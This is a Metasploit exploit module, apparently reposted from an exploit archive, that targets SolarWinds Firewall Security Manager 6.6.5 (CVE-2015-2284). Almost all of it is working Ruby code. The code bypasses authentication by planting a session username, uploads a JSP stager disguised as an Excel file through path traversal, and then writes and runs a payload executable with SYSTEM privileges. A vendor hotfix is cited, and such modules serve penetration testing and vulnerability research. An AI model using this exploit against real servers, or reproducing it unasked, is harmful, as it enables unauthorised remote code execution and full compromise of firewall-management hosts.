Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Exploit

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Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Exploit

来源：metasploit.com 作者：sinn3r 发布时间：2015-04-07

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info={})

super(update_info(info,

'Name' => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",

'Description' => %q{

This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager

6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface

due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set

the 'username' attribute before authentication. The second problem is that the settings-new.jsp

file will only check the 'username' attribute before authorizing the 'uploadFile' action,

which can be exploited and allows the attacker to upload a fake xls host list file to the

server, and results in arbitrary code execution under the context of SYSTEM.

Depending on the installation, by default the Change Advisor web server is listening on port

48080 for an express install. Otherwise, this service may appear on port 8080.

Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may

download it from the module's References section.

},

'License' => MSF_LICENSE,

'Author' =>

[

'rgod', # Original discovery

'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_

'sinn3r' # Metasploit

],

'References' =>

[

['CVE', '2015-2284'],

['OSVDB', '81634'],

['ZDI', '15-107'],

['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']

],

'DefaultOptions' =>

{

'RPORT' => 48080 # Could be 8080 too

},

'Platform' => 'win',

'Targets' =>

[

['Solarwinds Firewall Security Manager 6.6.5', {}]

],

'Privileged' => false,

'DisclosureDate' => 'Mar 13 2015',

'DefaultTarget' => 0))

register_options(

[

OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])

], self.class)

end

# Returns a checkcode that indicates whether the target is FSM or not

def check

res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))

if res && res.body =~ /SolarWinds FSM Change Advisor/i

return Exploit::CheckCode::Detected

end

Exploit::CheckCode::Safe

end

# Exploit/run command

def exploit

unless check == Exploit::CheckCode::Detected

fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')

end

# Stage 1 of the attack

# 'admin' is there by default and you can't delete it

username = 'admin'

print_status("Auth bypass: Putting session value: username=#{username}")

sid = put_session_value(username)

print_status("Your SID is: #{sid}")

# Stage 2 of the attack

exe = generate_payload_exe(code: payload.encoded)

filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"

# Because when we get a shell, we will be at:

# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice

# So we have to adjust this filename in order to delete the file

register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")

malicious_file = get_jsp_payload(exe, filename)

print_status("Uploading file: #{filename} (#{exe.length} bytes)")

upload_exec(sid, filename, malicious_file)

end

private

# Returns a write-stager

# I grabbed this from Juan's sonicwall_gms_uploaded.rb module

def jsp_drop_bin(bin_data, output_file)

jspraw = %Q|<%@ page import="java.io.*" %>\n|

jspraw << %Q|<%\n|

jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|

jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|

jspraw << %Q|{\n|

jspraw << %Q| char char1 = (char) data.charAt(counter);\n|

jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|

jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|

jspraw << %Q| comb <<= 4;\n|

jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|

jspraw << %Q| bytes[counter/2] = (byte)comb;\n|

jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|

jspraw << %Q|outputstream.close();\n|

jspraw << %Q|%>\n|

jspraw

end

# Returns JSP that executes stuff

# This is also from Juan's sonicwall_gms_uploaded.rb module

def jsp_execute_command(command)

jspraw = %Q|<%@ page import="java.io.*" %>\n|

jspraw << %Q|<%\n|

jspraw << %Q|try {\n|

jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|

jspraw << %Q|} catch (IOException ioe) { }\n|

jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|

jspraw << %Q|%>\n|

jspraw

end

# Returns a JSP payload

def get_jsp_payload(exe, output_file)

jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)

end

# Creates an arbitrary username by abusing the server's unsafe use of session.putValue

def put_session_value(value)

res = send_request_cgi(

'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),

'method' => 'GET',

'vars_get' => { 'username' => value }

)

unless res

fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')

end

get_sid(res)

end

# Returns the session ID

def get_sid(res)

cookies = res.get_cookies

sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''

sid

end

# Uploads a malicious file and then execute it

def upload_exec(sid, filename, malicious_file)

res = upload_file(sid, filename, malicious_file)

if !res

fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')

elsif res.body.include?('java.lang.NoClassDefFoundError')

print_status('Payload being treated as XLS, indicates a successful upload.')

else

print_status('Unsure of a successful upload.')

end

print_status('Attempting to execute the payload.')

exec_file(sid, filename)

end

# Uploads a malicious file

# By default, the file will be saved at the following location:

# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\

def upload_file(sid, filename, malicious_file)

# Put our payload in:

# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\

filename = "../../jsp/#{filename}"

mime_data = Rex::MIME::Message.new

mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")

mime_data.add_part('uploadFile', nil, nil, 'name="action"')

proto = ssl ? 'https' : 'http'

ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"

send_request_cgi(

'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),

'method' => 'POST',

'vars_get' => { 'action' => 'uploadFile' },

'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",

'data' => mime_data.to_s,

'cookie' => sid,

'headers' => { 'Referer' => ref }

)

end

# Executes the malicious file and get code execution

# We will be at this location:

# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice

def exec_file(sid, filename)

send_request_cgi(

'uri' => normalize_uri(target_uri.path, 'fsm', filename)

)

end

# Overrides the original print_status so we make sure we print the rhost and port

def print_status(msg)

super("#{rhost}:#{rport} - #{msg}")

end

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